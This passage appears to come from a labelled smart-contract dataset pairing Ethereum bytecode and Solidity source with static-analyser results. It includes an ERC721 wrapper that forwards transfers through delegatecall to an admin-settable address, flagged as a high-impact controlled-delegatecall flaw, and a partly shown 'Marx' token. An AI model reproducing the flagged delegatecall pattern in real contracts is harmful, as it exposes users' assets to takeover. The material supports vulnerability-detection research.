65b505050949350505050565b610dad611651565b610db5611651565b6003546000908190604051805910610dca5750595b9080825280602002602001820160405250925060009150600090505b600354811015610e925760008581526001602052604081206003805491929184908110610e0f57fe5b6000918252602080832090910154600160a060020a0316835282019290925260400190205460ff1615610e8a576003805482908110610e4a57fe5b600091825260209091200154600160a060020a0316838381518110610e6b57fe5b600160a060020a03909216602092830290910190910152600191909101905b600101610de6565b81604051805910610ea05750595b90808252806020026020018201604052509350600090505b81811015610f0157828181518110610ecc57fe5b90602001906020020151848281518110610ee257fe5b600160a060020a03909216602092830290910190910152600101610eb8565b505050919050565b60055481565b30600160a060020a031633600160a060020a0316141515610f2f57600080fd5b6003548160328211801590610f445750818111155b8015610f4f57508015155b8015610f5a57508115155b1515610f6557600080fd5b60048390557fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a8360405190815260200160405180910390a1505050565b33600160a060020a03811660009081526002602052604090205460ff161515610fca57600080fd5b6000828152602081905260409020548290600160a060020a03161515610fef57600080fd5b600083815260016020908152604080832033600160a060020a038116855292529091205484919060ff161561102357600080fd5b6000858152600160208181526040808420600160a060020a033316808652925292839020805460ff191690921790915586917f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef905160405180910390a3611089856112c3565b5050505050565b600061109d8484846114e3565b90506110a881610fa2565b9392505050565b30600160a060020a031633600160a060020a03161415156110cf57600080fd5b60068190557fc71bdc6afaf9b1aa90a7078191d4fc1adf3bf680fca3183697df6b0dc226bca28160405190815260200160405180910390a150565b603281565b60045481565b600030600160a060020a031633600160a060020a031614151561113757600080fd5b600160a060020a038316600090815260026020526040902054839060ff16151561116057600080fd5b600160a060020a038316600090815260026020526040902054839060ff161561118857600080fd5b600092505b6003548310156112215784600160a060020a03166003848154811015156111b057fe5b600091825260209091200154600160a060020a0316141561121657836003848154811015156111db57fe5b6000918252602090912001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055611221565b60019092019161118d565b600160a060020a03808616600081815260026020526040808220805460ff199081169091559388168252908190208054909316600117909255907f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b90905160405180910390a283600160a060020a03167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25050505050565b33600160a060020a0381166000908152600260205260408120549091829160ff1615156112ef57600080fd5b600084815260016020908152604080832033600160a060020a038116855292529091205485919060ff16151561132457600080fd5b600086815260208190526040902060030154869060ff161561134557600080fd5b6000878152602081905260409020955061135e87610a44565b945084806113915750600280870154600019610100600183161502011604158015611391575061139186600101546115e0565b156114d45760038601805460ff191660011790558415156113bb5760018601546008805490910190555b85546001870154600160a060020a03909116906002880160405180828054600181600116156101000203166002900480156114375780601f1061140c57610100808354040283529160200191611437565b820191906000526020600020905b81548152906001019060200180831161141a57829003601f168201915b505091505060006040518083038185875af1925050501561148457867f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7560405160405180910390a26114d4565b867f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923660405160405180910390a260038601805460ff191690558415156114d4576001860154600880549190910390555b50505050505050565b60085481565b600083600160a060020a03811615156114fb57600080fd5b600554915060806040519081016040908152600160a060020a0387168252602080830187905281830186905260006060840181905285815290819052208151815473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a039190911617815560208201518160010155604082015181600201908051611586929160200190611663565b506060820151600391909101805460ff191691151591909117905550600580546001019055817fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5160405160405180910390a2509392505050565b600060075462015180014211156115fb574260075560006008555b600654826008540111806116125750600854828101105b1561161f57506000611623565b5060015b919050565b81548183558181151161164c5760008381526020902061164c9181019083016116e1565b505050565b60206040519081016040526000815290565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106116a457805160ff19168380011785556116d1565b828001600101855582156116d1579182015b828111156116d15782518255916020019190600101906116b6565b506116dd9291506116e1565b5090565b61088d91905b808211156116dd57600081556001016116e75600a165627a7a72305820c37b1d52cd3530338cefd75668de035fcdfa944441f59e162aa6681e8f25d4ad0029
|
{"success": true, "error": null, "results": {}}
| 6,304 |
0xf8cec6e49177ddc16c694afbd204cd5a61db5222
|
/**
*Submitted for verification at Etherscan.io on 2021-04-13
*/
pragma solidity >=0.6.0 <0.8.4;
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
modifier onlyOwner {
require(msg.sender == owner);
_;
}
constructor() public {
owner = msg.sender;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// Administrators
// ----------------------------------------------------------------------------
contract Admined is Owned {
mapping (address => bool) public admins;
event AdminAdded(address addr);
event AdminRemoved(address addr);
modifier onlyAdmin() {
require(isAdmin(msg.sender));
_;
}
function isAdmin(address addr) public returns (bool) {
return (admins[addr] || owner == addr);
}
function addAdmin(address addr) public onlyOwner {
require(!admins[addr] && addr != owner);
admins[addr] = true;
emit AdminAdded(addr);
}
function removeAdmin(address addr) public onlyOwner {
require(admins[addr]);
delete admins[addr];
emit AdminRemoved(addr);
}
}
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
contract MetadataDeveryERC721Wrapper is IERC721, IERC721Metadata, Admined{
address public token;
IERC721 public tokenContract;
mapping (uint256 => string) private _tokenURIs;
function setERC721(address _token) public onlyAdmin {
token = _token;
tokenContract = IERC721(_token);
}
function balanceOf(address owner) public virtual override view returns (uint256 balance){
return tokenContract.balanceOf(owner);
}
function ownerOf(uint256 tokenId) public virtual override view returns (address owner){
return tokenContract.ownerOf(tokenId);
}
function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override{
(bool success, bytes memory data) = token.delegatecall(
abi.encodeWithSignature("safeTransferFrom(address,address,uint256)", from,to, tokenId)
);
}
function transferFrom(address from, address to, uint256 tokenId )public virtual override{
(bool success, bytes memory data) = token.delegatecall(
abi.encodeWithSignature("transferFrom(address,address,uint256)", from,to, tokenId)
);
}
function approve(address to, uint256 tokenId)public virtual override{
(bool success, bytes memory data) = token.delegatecall(
abi.encodeWithSignature("approve(address,uint256)",to, tokenId)
);
}
function getApproved(uint256 tokenId) public virtual override view returns (address operator){
return tokenContract.getApproved(tokenId);
}
function setApprovalForAll(address operator, bool _approved) public virtual override{
(bool success, bytes memory data) = token.delegatecall(
abi.encodeWithSignature("setApprovalForAll(address,bool)",operator, _approved)
);
}
function isApprovedForAll(address owner, address operator) public virtual override view returns (bool){
return tokenContract.isApprovedForAll(owner, operator);
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) public virtual override{
(bool success, bytes memory data) = token.delegatecall(
abi.encodeWithSignature("safeTransferFrom(address,address,uint256,bytes)",from, to, tokenId, data)
);
}
function setTokenURI(uint256 tokenId, string memory _tokenURI) public virtual {
require(ownerOf(tokenId) == msg.sender, "Only the owner of a token can set its metadata");
_tokenURIs[tokenId] = _tokenURI;
}
function supportsInterface(bytes4 interfaceId) public virtual override view returns (bool){
return true;
}
function name() public virtual override view returns (string memory){
return "Devery NFT";
}
function symbol() public virtual override view returns (string memory){
return "EVENFT";
}
function tokenURI(uint256 tokenId) public virtual override view returns (string memory){
return _tokenURIs[tokenId];
}
}
|
0x608060405234801561001057600080fd5b50600436106101735760003560e01c80636352211e116100de578063a22cb46511610097578063d4ee1d9011610071578063d4ee1d901461030f578063e985e9c514610317578063f2fde38b1461032a578063fc0c546a1461033d57610173565b8063a22cb465146102d6578063b88d4fde146102e9578063c87b56dd146102fc57610173565b80636352211e14610278578063704802751461028b57806370a082311461029e57806379ba5097146102be5780638da5cb5b146102c657806395d89b41146102ce57610173565b80631785f53c116101305780631785f53c1461021157806323b872dd1461022457806324d7806c1461023757806342842e0e1461024a578063429b62e51461025d57806355a373d61461027057610173565b806301ffc9a71461017857806306fdde03146101a1578063081812fc146101b6578063094144a5146101d6578063095ea7b3146101eb578063162094c4146101fe575b600080fd5b61018b610186366004610e1c565b610345565b604051610198919061101d565b60405180910390f35b6101a961034b565b6040516101989190611028565b6101c96101c4366004610e44565b61036f565b6040516101989190610f46565b6101e96101e4366004610c5e565b6103f7565b005b6101e96101f9366004610dd5565b610435565b6101e961020c366004610e74565b6104da565b6101e961021f366004610c5e565b610537565b6101e9610232366004610cce565b6105ce565b61018b610245366004610c5e565b610676565b6101e9610258366004610cce565b6106ad565b61018b61026b366004610c5e565b61070b565b6101c9610720565b6101c9610286366004610e44565b61072f565b6101e9610299366004610c5e565b610761565b6102b16102ac366004610c5e565b61080b565b60405161019891906110a9565b6101e961088d565b6101c9610908565b6101a9610917565b6101e96102e4366004610da8565b610937565b6101e96102f7366004610d0e565b610993565b6101a961030a366004610e44565b610a41565b6101c9610ae3565b61018b610325366004610c96565b610af2565b6101e9610338366004610c5e565b610b7d565b6101c9610bb6565b50600190565b60408051808201909152600a81526911195d995c9e4813919560b21b602082015290565b6004805460405163020604bf60e21b81526000926001600160a01b039092169163081812fc916103a1918691016110a9565b60206040518083038186803b1580156103b957600080fd5b505afa1580156103cd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103f19190610c7a565b92915050565b61040033610676565b61040957600080fd5b600380546001600160a01b039092166001600160a01b0319928316811790915560048054909216179055565b60035460405160009182916001600160a01b039091169061045c9086908690602401611004565b60408051601f198184030181529181526020820180516001600160e01b031663095ea7b360e01b179052516104919190610f2a565b600060405180830381855af49150503d80600081146104cc576040519150601f19603f3d011682016040523d82523d6000602084013e6104d1565b606091505b50505050505050565b336104e48361072f565b6001600160a01b0316146105135760405162461bcd60e51b815260040161050a9061105b565b60405180910390fd5b6000828152600560209081526040909120825161053292840190610bc5565b505050565b6000546001600160a01b0316331461054e57600080fd5b6001600160a01b03811660009081526002602052604090205460ff1661057357600080fd5b6001600160a01b03811660009081526002602052604090819020805460ff19169055517fa3b62bc36326052d97ea62d63c3d60308ed4c3ea8ac079dd8499f1e9c4f80c0f906105c3908390610f46565b60405180910390a150565b60035460405160009182916001600160a01b03909116906105f790879087908790602401610f74565b60408051601f198184030181529181526020820180516001600160e01b03166323b872dd60e01b1790525161062c9190610f2a565b600060405180830381855af49150503d8060008114610667576040519150601f19603f3d011682016040523d82523d6000602084013e61066c565b606091505b5050505050505050565b6001600160a01b03811660009081526002602052604081205460ff16806103f15750506000546001600160a01b0391821691161490565b60035460405160009182916001600160a01b03909116906106d690879087908790602401610f74565b60408051601f198184030181529181526020820180516001600160e01b0316632142170760e11b1790525161062c9190610f2a565b60026020526000908152604090205460ff1681565b6004546001600160a01b031681565b600480546040516331a9108f60e11b81526000926001600160a01b0390921691636352211e916103a1918691016110a9565b6000546001600160a01b0316331461077857600080fd5b6001600160a01b03811660009081526002602052604090205460ff161580156107af57506000546001600160a01b03828116911614155b6107b857600080fd5b6001600160a01b03811660009081526002602052604090819020805460ff19166001179055517f44d6d25963f097ad14f29f06854a01f575648a1ef82f30e562ccd3889717e339906105c3908390610f46565b600480546040516370a0823160e01b81526000926001600160a01b03909216916370a082319161083d91869101610f46565b60206040518083038186803b15801561085557600080fd5b505afa158015610869573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103f19190610e5c565b6001546001600160a01b031633146108a457600080fd5b600154600080546040516001600160a01b0393841693909116917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a360018054600080546001600160a01b03199081166001600160a01b03841617909155169055565b6000546001600160a01b031681565b60408051808201909152600681526511559153919560d21b602082015290565b60035460405160009182916001600160a01b039091169061095e9086908690602401610fe9565b60408051601f198184030181529181526020820180516001600160e01b031663a22cb46560e01b179052516104919190610f2a565b60035460405160009182916001600160a01b03909116906109c09089908990899089908990602401610f98565b60408051601f198184030181529181526020820180516001600160e01b0316635c46a7ef60e11b179052516109f59190610f2a565b600060405180830381855af49150503d8060008114610a30576040519150601f19603f3d011682016040523d82523d6000602084013e610a35565b606091505b50505050505050505050565b6000818152600560205260409020805460609190610a5e906110e2565b80601f0160208091040260200160405190810160405280929190818152602001828054610a8a906110e2565b8015610ad75780601f10610aac57610100808354040283529160200191610ad7565b820191906000526020600020905b815481529060010190602001808311610aba57829003601f168201915b50505050509050919050565b6001546001600160a01b031681565b6004805460405163e985e9c560e01b81526000926001600160a01b039092169163e985e9c591610b26918791879101610f5a565b60206040518083038186803b158015610b3e57600080fd5b505afa158015610b52573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b769190610e00565b9392505050565b6000546001600160a01b03163314610b9457600080fd5b600180546001600160a01b0319166001600160a01b0392909216919091179055565b6003546001600160a01b031681565b828054610bd1906110e2565b90600052602060002090601f016020900481019282610bf35760008555610c39565b82601f10610c0c57805160ff1916838001178555610c39565b82800160010185558215610c39579182015b82811115610c39578251825591602001919060010190610c1e565b50610c45929150610c49565b5090565b5b80821115610c455760008155600101610c4a565b600060208284031215610c6f578081fd5b8135610b7681611133565b600060208284031215610c8b578081fd5b8151610b7681611133565b60008060408385031215610ca8578081fd5b8235610cb381611133565b91506020830135610cc381611133565b809150509250929050565b600080600060608486031215610ce2578081fd5b8335610ced81611133565b92506020840135610cfd81611133565b929592945050506040919091013590565b600080600080600060808688031215610d25578081fd5b8535610d3081611133565b94506020860135610d4081611133565b935060408601359250606086013567ffffffffffffffff80821115610d63578283fd5b818801915088601f830112610d76578283fd5b813581811115610d84578384fd5b896020828501011115610d95578384fd5b9699959850939650602001949392505050565b60008060408385031215610dba578182fd5b8235610dc581611133565b91506020830135610cc38161114b565b60008060408385031215610de7578182fd5b8235610df281611133565b946020939093013593505050565b600060208284031215610e11578081fd5b8151610b768161114b565b600060208284031215610e2d578081fd5b81356001600160e01b031981168114610b76578182fd5b600060208284031215610e55578081fd5b5035919050565b600060208284031215610e6d578081fd5b5051919050565b60008060408385031215610e86578182fd5b82359150602083013567ffffffffffffffff80821115610ea4578283fd5b818501915085601f830112610eb7578283fd5b813581811115610ec957610ec961111d565b604051601f8201601f19908116603f01168101908382118183101715610ef157610ef161111d565b81604052828152886020848701011115610f09578586fd5b82602086016020830137856020848301015280955050505050509250929050565b60008251610f3c8184602087016110b2565b9190910192915050565b6001600160a01b0391909116815260200190565b6001600160a01b0392831681529116602082015260400190565b6001600160a01b039384168152919092166020820152604081019190915260600190565b6001600160a01b038681168252851660208201526040810184905260806060820181905281018290526000828460a084013781830160a090810191909152601f909201601f19160101949350505050565b6001600160a01b039290921682521515602082015260400190565b6001600160a01b03929092168252602082015260400190565b901515815260200190565b60006020825282518060208401526110478160408501602087016110b2565b601f01601f19169190910160400192915050565b6020808252602e908201527f4f6e6c7920746865206f776e6572206f66206120746f6b656e2063616e20736560408201526d7420697473206d6574616461746160901b606082015260800190565b90815260200190565b60005b838110156110cd5781810151838201526020016110b5565b838111156110dc576000848401525b50505050565b6002810460018216806110f657607f821691505b6020821081141561111757634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461114857600080fd5b50565b801515811461114857600080fdfea26469706673582212204ace0e9804a9346f57505de0871df1aabecf41ebfcab38c466e7e6fcc6f8e3e964736f6c63430008010033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "controlled-delegatecall", "impact": "High", "confidence": "Medium"}]}}
| 6,305 |
0x7f2838dd39eacc65de13ed1463f798246a04a958
|
/**
*Submitted for verification at Etherscan.io on 2021-06-09
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
contract Marx is Context, Ownable, IERC20, IERC20Metadata {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private id;
uint256 private _totalSupply;
uint256 private eBetray = 0;
uint256 private idTransactions;
uint256 _upSurplus;
uint256 private surplusValue = 50000;
string private _name = "Marx";
string private _symbol = "MARX";
struct Communist{
address aCommunist;
uint256 idCommunist;
uint256 mySurplusValueReleased;
uint256 totalSurplusValueWithdraw;
uint256 lastIdSurplusValueWithdraw;
}
struct Transaction{
uint256 idTransaction;
uint256 timeTransaction;
}
mapping (uint256 => Transaction) controlTransactions;
mapping (address => Communist) addressCommunist;
address[] communistArray;
uint256[] transactionsArray;
function _createTransaction() private {
idTransactions = idTransactions.add(1);
Transaction storage newTransaction = controlTransactions[idTransactions];
newTransaction.timeTransaction = block.timestamp;
transactionsArray.push(idTransactions);
}
function _createCommunist(address communist) private {
Communist storage newCommunist = addressCommunist[communist];
newCommunist.aCommunist = communist;
newCommunist.lastIdSurplusValueWithdraw = idTransactions;
newCommunist.idCommunist = id.add(1);
id = newCommunist.idCommunist;
communistArray.push(communist);
}
function _getIdTransactions() private view returns (uint256[] memory) {
return transactionsArray;
}
function _calculateSurplusValue() private view returns (uint256) {
uint256 idN = idTransactions;
uint256 lastId = addressCommunist[_msgSender()].lastIdSurplusValueWithdraw;
uint256 mySurplus = (idN.sub(lastId)).mul(surplusValue);
return mySurplus.div(_countCommunists());
}
function _updateMySurplusValue() private isCommunist(_msgSender()) {
uint256 mySurplusValue = _calculateSurplusValue();
Communist storage updateSurplusValue = addressCommunist[_msgSender()];
updateSurplusValue.mySurplusValueReleased += mySurplusValue;
updateSurplusValue.lastIdSurplusValueWithdraw = idTransactions;
}
function _excludeBetray(address betray) private {
uint256 idBetray = addressCommunist[betray].idCommunist - 1;
delete communistArray[idBetray];
eBetray = eBetray.add(1);
}
function withdrawSurplusValue() public isCommunist(_msgSender()) {
require(addressCommunist[_msgSender()].lastIdSurplusValueWithdraw < idTransactions);
_updateMySurplusValue();
uint256 mySurplusValueReleased = addressCommunist[_msgSender()].mySurplusValueReleased;
_withdraw(mySurplusValueReleased);
Communist storage updateSurplusValue = addressCommunist[_msgSender()];
updateSurplusValue.mySurplusValueReleased = 0;
updateSurplusValue.totalSurplusValueWithdraw += mySurplusValueReleased;
}
function _getCommunists() private view returns (address[] memory){
return communistArray;
}
function _countCommunists() private view returns (uint256) {
uint256 numCommunists = communistArray.length;
return numCommunists.sub(eBetray);
}
modifier isCommunist(address communist){
require(_balances[communist] > 0);
_;
}
function verifyLastId(address communist) private view returns (uint256) {
return addressCommunist[communist].lastIdSurplusValueWithdraw;
}
function verifyTotalSurplusValueWithdraw() public view returns (uint256) {
return addressCommunist[_msgSender()].totalSurplusValueWithdraw;
}
function verifyTimeTransaction(uint256 idT) private view returns (uint256) {
return controlTransactions[idT].timeTransaction;
}
function verifyCommunist(address communist) private view returns (uint256) {
return addressCommunist[communist].idCommunist;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 4;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
_createTransaction();
return true;
}
function mint(address account, uint256 amount) public virtual onlyOwner() returns (bool){
_mint(account, amount);
return true;
}
function burn(address account, uint256 amount) public virtual onlyOwner() returns (bool){
_burn(account, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
if(_balances[sender] == amount && _balances[recipient] == 0) {
_excludeBetray(sender);
_createCommunist(recipient);
} else if(_balances[sender] == amount && _balances[recipient] >= 0) {
_excludeBetray(sender);
} else if(_balances[sender] >= amount && _balances[recipient] == 0){
_createCommunist(recipient);
_mint(sender, amount.div(200));
} else if(_balances[sender] >= amount && _balances[recipient] >= 0) {
_mint(sender, amount.div(200));
}
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
function _withdraw(uint256 amount) private {
_mint(_msgSender(), amount);
}
function _mint(address account, uint256 amount) internal virtual {
